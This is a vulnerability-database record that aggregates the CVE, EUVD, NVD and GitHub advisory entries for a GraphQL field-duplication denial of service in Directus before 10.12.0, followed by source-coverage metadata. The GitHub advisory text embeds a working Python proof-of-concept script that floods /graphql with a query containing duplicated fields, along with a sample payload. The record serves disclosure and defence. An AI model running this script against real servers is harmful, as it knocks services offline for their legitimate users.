{"id":"EUVD-2024-2287","revision":null,"records":[{"revision":"3ee0e02d41b74d81bb6221ec5c303ba8","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2024-39895","aliases":[],"title":"Directus GraphQL Field Duplication Denial of Service (DoS)","description":"Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard. By modifying the data sent and duplicating many times the fields a DoS attack is possible. This vulnerability is fixed in 10.12.0.","state":0,"publishedAt":"2024-07-08T16:47:44.673+00:00","modifiedAt":"2024-08-02T04:33:11.24+00:00","affected":[{"ecosystem":"Vendor product","name":"directus","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"directus\",\n                    \"product\": \"directus\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 10.12.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4","https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-39895","license":"CVE Program Terms of Use","key":"cve-program:CVE-2024-39895","identifiers":["CVE-2024-39895"]},"retained":false,"historicalAffected":[]},{"revision":"593abbc326a54c059124c40ff88215ba","observedAt":"2026-11-15T02:31:24.702+00:00","statement":{"source":"euvd","id":"EUVD-2024-2287","aliases":["CVE-2024-39895","GHSA-7hmh-pfrp-vcx4"],"title":"Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a serve…","description":"Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard. By modifying the data sent and duplicating many times the fields a DoS attack is possible. This vulnerability is fixed in 10.12.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":null}],"references":["https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4","https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2024-2287","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 8, 2024, 4:47:44 PM","dateUpdated":"Aug 2, 2024, 4:33:11 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2024-2287","identifiers":["EUVD-2024-2287","CVE-2024-39895","GHSA-7hmh-pfrp-vcx4"]},"retained":false,"historicalAffected":[]},{"revision":"5d94f228bf28442ca10ee5703141d6e9","observedAt":"2026-10-25T00:17:22.831+00:00","statement":{"source":"nvd","id":"CVE-2024-39895","aliases":[],"title":"Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a serve…","description":"Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard. By modifying the data sent and duplicating many times the fields a DoS attack is possible. This vulnerability is fixed in 10.12.0.","state":0,"publishedAt":"2024-07-08T17:15:11.98+00:00","modifiedAt":"2026-06-17T07:42:58.927+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8","https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-39895","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-400","NVD-CWE-Other"],"productCriteria":["cpe:2.3:a:monospace:directus:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2024-07-08T17:15:11.980","lastModified":"2026-06-17T07:42:58.927"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2024-39895","identifiers":["CVE-2024-39895"]},"retained":false,"historicalAffected":[]},{"revision":"5f406ddd9ccf4c1cb820e6a8a82aaeed","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-7hmh-pfrp-vcx4","aliases":["CVE-2024-39895"],"title":"Directus GraphQL Field Duplication Denial of Service (DoS)","description":"### Summary\nA denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.\n\n### Details\nRequest to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:\n![image](https://github.com/directus/directus/assets/114263468/185eb60f-9092-47d4-81f4-add1a53e99c8)\n\n![DoS5](https://github.com/directus/directus/assets/114263468/f43079f5-b9ab-4704-938f-dcb91453d464)\n\n\nBy modifying the data sent and duplicating many times the fields a DoS attack is possible. \n\n### PoC\nThe goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it.\n`{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  }  } }'}`\n\nAlthough that payload seems harmless, a bigger one leaves the service unresponsive. \n\nThe following code might serve as a PoC written in Python3:\n```# Field Duplication DoS \n# GitHub @asantof\n\nimport requests\n\n## CHANGE THIS VALUES: url, auth_token, query_name, collection_name\nurl = 'http://0.0.0.0:8055/graphql'\nauth_token = '' \nquery_name = 'query_XXXXX' \ncollection_name = ''  \n\nheaders = {\n    'Content-Type': 'application/json',\n    'Authorization': f'Bearer {auth_token}',\n}\n\nid_payload = 'id ' * 200\nmax_payload = 'max {' + id_payload + ' } '\nfull_payload = max_payload * 200\n\ndata = {\n    'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }'\n}\n\nprint(data)\n\nresponse = requests.post(url, headers=headers, json=data)\n\nprint(response.json())\n```\n\n![DoS4](https://github.com/directus/directus/assets/114263468/965e50bc-24dc-405c-a0f1-c973bd4f378d)\n\n\nAfter running it the service will be unresponsive for a while:\n![DoS](https://github.com/directus/directus/assets/114263468/9865acc1-9b82-4d3d-8929-cf32500ce14d)\n\n\n### Impact\nThe vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.","state":0,"publishedAt":"2024-07-08T18:41:00+00:00","modifiedAt":"2026-09-10T03:50:16.3390371+00:00","affected":[{"ecosystem":"npm","name":"@directus/env","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.1.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4","https://nvd.nist.gov/vuln/detail/CVE-2024-39895","https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8","https://github.com/directus/directus"],"sourceUrl":"https://github.com/advisories/GHSA-7hmh-pfrp-vcx4","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7hmh-pfrp-vcx4","identifiers":["GHSA-7hmh-pfrp-vcx4","CVE-2024-39895"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-16T15:46:28.5867679+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-16T15:46:28.5867679+00:00","lastSuccessAt":"2026-11-16T15:46:28.7336518+00:00","error":null,"lastVerifiedAt":"2026-11-16T15:46:28.7336528+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-6be044d0e08779dadd136f949a536de4047af96f5d7bceb7e190ecffbb8f18ca-12f82bfd2f0251f244474ead94aa147d6e6e5a295312f7bfcd9f3990dddcf44d","complete":true,"records":426048,"lastAttemptAt":"2026-11-16T15:44:51.0968416+00:00","lastSuccessAt":"2026-11-16T15:44:51.0015391+00:00","error":null,"lastVerifiedAt":"2026-11-16T15:44:51.0968416+00:00","snapshotPublishedAt":"2026-11-16T15:30:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b53a453bd21948638a37a0c1d9db90a8","complete":true,"records":13830,"lastAttemptAt":"2026-11-16T15:47:10.0420289+00:00","lastSuccessAt":"2026-11-16T15:47:10.038+00:00","error":null,"lastVerifiedAt":"2026-11-16T15:47:10.038+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13883,"expectedIdentifiers":13883,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-16T15:46:28.5867679+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-16T15:46:28.5867679+00:00","lastSuccessAt":"2026-11-16T15:46:28.7348718+00:00","error":null,"lastVerifiedAt":"2026-11-16T15:46:28.7348721+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-9aad64c357a84d2b95eb370a9099d8a7","complete":false,"records":13842,"lastAttemptAt":"2026-11-16T15:46:54.2697305+00:00","lastSuccessAt":"2026-11-16T15:46:54.266+00:00","error":"209 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-16T15:46:54.266+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13674,"expectedIdentifiers":13883,"failedIdentifiers":209},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-16T15:46:28.4519077+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-16T15:46:28.4519077+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-16T15:44:51.2546448+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-16T15:44:51.2546448+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-16T15:46:28.5571571+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-16T15:46:28.5571571+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-58b43c63da2e2d496e2f653c5bea97bd9deda68f62d1c3a4dc0212d13b04b5b2","complete":true,"records":232492,"lastAttemptAt":"2026-11-16T15:46:28.326888+00:00","lastSuccessAt":"2026-11-16T15:46:27.3875263+00:00","error":null,"lastVerifiedAt":"2026-11-16T15:46:28.326888+00:00","snapshotPublishedAt":"2026-11-16T15:33:39+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}